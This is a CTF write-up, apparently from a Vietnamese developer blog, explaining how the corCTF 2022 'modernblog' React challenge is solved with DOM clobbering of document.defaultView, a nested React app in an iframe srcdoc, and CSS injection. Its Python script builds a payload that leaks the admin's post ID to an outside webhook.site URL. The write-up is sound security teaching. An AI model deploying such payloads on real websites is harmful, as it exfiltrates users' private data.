- vừa được xem lúc

corCTF 2022 Writeup (Part 2)

0 0 48

Người đăng: fairytypean

Theo Viblo Asia

After day by day, I'm finally able to fully understand the modernblog challenge 😄 This is a so amazing web challenge written in React.

It is worth to take a notice that I cannot solve this challenge by my own. What I did is reading the author writeup, demo the described techniques, and learn much from that! This write up is just like a notes of my understanding, my gainings after that process (and it may be a little bit difference the author writeup, since I wrote on my own understanding and viewpoint 😄).

3. modernblog

a. Challenge description

Look at the Admin Bot, we can definitely that this is client-side challenge. The source is React + Express backend, and most of the code is used for credentials management, and content management (creating, view blog content). The point is there are blog of admin containing the flag, with a randomId.

(() => { const flagId = crypto.randomBytes(6).toString("hex"); const flag = process.env.FLAG || "flag{test_flag}"; users.set("admin", { pass: sha256(process.env.ADMIN_PASSWORD || "test_password"), posts: Object.freeze([flagId]), }); posts.set(flagId, { id: flagId, title: "Flag", body: flag, });
})();

Since we can view any post given the id known (or the access link), the point is to get the flagId, or admin account takeover. And, as I state, this is a client-side challenge, so we have to take a look at the client side code to see where the vulnerability occurs: it is the body of a post

<Stack spacing={4} w="full" maxW="md" bg={useColorModeValue("gray.50", "gray.700")} rounded="xl" boxShadow="2xl" p={6} my={12}
> <Heading lineHeight={1.1} fontSize={{ base: "2xl", md: "3xl" }}> {title} </Heading> {/* CSP is on, so this should be fine, right? */} {/* Clueless */} <div dangerouslySetInnerHTML={{ __html: body }}></div>
</Stack> <Button variant="link" as={Link} to="/home"> Back
</Button>
</Stack>

Let's move to the analysis phase to see how could we exploit this spot 😄

b. Challenge analysis

The first thing I can think of is XSS to account take over. However, as the comment says, there is CSP set at server.

According to the CSP, there is no room for our custom script to run on the website, which means the account takeover approach is impossible.

At this point, there is only 1 option left: get the flagId of the admin post, which is in /home page of admin user!

However, it does not directly HTML encode special characters, so we still can inject markup, HTML, CSS. But what we can do with this? What about CSS Injection / XS-leak? We can inject CSS into the post body, but it will execute on post page, while the flagId is in the /home page 🙃 So, what else we can do with HTML and CSS?

Just hold down a little bit. Although we can't execute our custom script, is that means we have no control over JS execution of the web? The answer is NO! We can do that with DOM clobbering attack.

[Advanced] DOM clobbering

DOM clobbering is a well-known attack to change a value of window properties. For example:

However, reading the author writeup, I now know that DOM clobbering is only able to the the value of window properties, but also document properties! The key point is here

So, the first point tells us that for any exposed embed, form, iframe, img, or exposed object element, the value of the “name” attribute will be a property of the Document object.

Let's take a demo to see that behavior:

Okay, but how to use this technique to solve the modernblog challenge? To use this, we need to answer a critical question:

What property needed to be changed in order to change behavior of the modernblog web app?

To figure out that property, we need to understand the how the web app works in depth. And, it will lead us to me to React Router!

BrowserRouter

At the main.jsx file, we can see this application is route using the BrowserRouter. It actually a single page application, and it will choose which page to render based the path property.

ReactDOM.createRoot(document.getElementById('root')).render( <React.StrictMode> <ChakraProvider> <BrowserRouter> <Routes> <Route path="/" element={<Index />} /> <Route path="/register" element={<Register />} /> <Route path="/login" element={<Login />} /> <Route path="/home" element={<Home />} /> <Route path="/post/:id" element={<Post />} /> </Routes> </BrowserRouter> </ChakraProvider> </React.StrictMode>
);

Take a look at BrowserRouter doc, there is a line worth noticing

<BrowserRouter window> defaults to using the current document's defaultView, but it may also be used to track changes to another window's URL, in an <iframe>

That is, document.defaultView, right?

The doc also state that BrowserRouter "browse using the built-in history stack", so taking a look at the History API can help us confirm whether document.defaultView is what we are looking for. And it is!

At this point, we know that the key point of this challenge is the document.defaultView property. Let's test DOM clobbering payload at the modernblog website whether it work or not.

Isn't that magic 😄 It clobbered! With that, we can now open the /home page, and perform CSS Injection to leak the flagId!

But, how to make the createBrowserHistory run again? If not so, there is no /home page loaded, hence no bit leaked.

🙃

The createBrowserHistory only run when the application load, but we can't make the modernblog web reload. Even if we could do, we would not like to do this as our payload will go!

That go to a super cool idea of this challenge: create a React app inside a React app 🤯

React in React

We can use the srcdoc attribute of the iframe tag to create another React app, using the provided public JS file. Let's try it:

<iframe srcdoc="
<!DOCTYPE html>
<html> <head> <script type='module' crossorigin src='/assets/index.7352e15a.js'></script> </head> <body> <div id='root'></div> </body>
</html>
"></iframe>

We get an error, as it fails to change document.defaultview.History while it is currently pointing to the current window int about:srcdoc. But, if we combine if React gadget, we got the following:

<iframe srcdoc="
<!DOCTYPE html>
<html> <head> <style> * {color : red} </style> <script type='module' crossorigin src='/assets/index.7352e15a.js'></script> </head> <body> <div id='root'></div> <iframe name='defaultView' src='/home'></iframe> </body>
</html>
"></iframe>

The text color is red, and the content is exactly of the /home page. We finally reach the point! Load the /home page, inject CSS to leak the flagId bit by bit to get the flag!!!!!!!!!

c. Challenge solution

Based on the above analysis, we now can use classical CSS techniques to leak the flagId. Using the script generated by the python code below, then create a blog whose body of it, and get each character of flagId at webhook:

WEBHOOK = "https://webhook.site/"
alphabet = "01234556789abcdef"
known = "" css = "" for c in alphabet: query = known + c css += f"""a[href^='/post/{query}'] {{ background-image: url('{WEBHOOK}?{query}')
}}
"""
payload = """<iframe srcdoc="
<!DOCTYPE html>
<html> <head> <style> """ + css + """ </style> <script type='module' crossorigin src='/assets/index.7352e15a.js'></script> </head> <body> <iframe name='defaultView' src='/home'></iframe> <div id='root'></div> </body>
</html>
" style='width:50vw; height: 50vh'></iframe>""" with open('payload.txt', 'w') as f: f.write(payload)

Attempt 12 times to get the full flagId, and the flag!

At the end of the day, I learn a lot from this challenge, I also found another CVE chain to study from Strelic 😄. Thanks so much for wonderful efforts making interesting challenges and writing inspring writeup!

Bình luận

Bài viết tương tự

- vừa được xem lúc

Tài nguyên nghiên cứu sâu Html

1. Articles and standards. . HTML 5.

0 0 196

- vừa được xem lúc

Embedded Template in Go

Getting Start. Part of developing a web application usually revolves around working with HTML as user interface.

0 0 55

- vừa được xem lúc

Full Stack Developer Roadmap 2021

Cách để trở thành một Full Stack Web Developer trên thế giới hiện nay. Các công ty đang luôn săn đón những developer có nhiều kĩ năng để cung cấp cho họ sự linh hoạt trong các dự án.

0 0 38

- vừa được xem lúc

Những kiến thức hay về Gradient: Gradient đẹp nhất chỉ được tìm thấy ở ngoài thiên nhiên!

. Quen thuộc từ lâu với rất nhiều người, nền Gradient chỉ là những bức nền với 2 hay nhiều dải màu sắc được hòa trộn với nhau. Đơn giản là vậy, nhưng càng ngày Gradient càng phổ biến hơn trong thiết kế Website ngày nay.

0 0 300

- vừa được xem lúc

What Is Session Fixation?

Session Fixation là một kỹ thuật tấn công web. Kẻ tấn công lừa người dùng sử dụng session ID đặc biệt.

0 0 46

- vừa được xem lúc

Làm thế nào để Design của Website thu hút hơn?

Xin chào các bạn. Bởi thế, không phải bàn cãi, thiết kế giao diện vừa thu hút, vừa chuyên nghiệp và ấn tượng là một trong những yếu tố quan trọng nhất trong cả quá trình phát triển 1 website.

0 0 36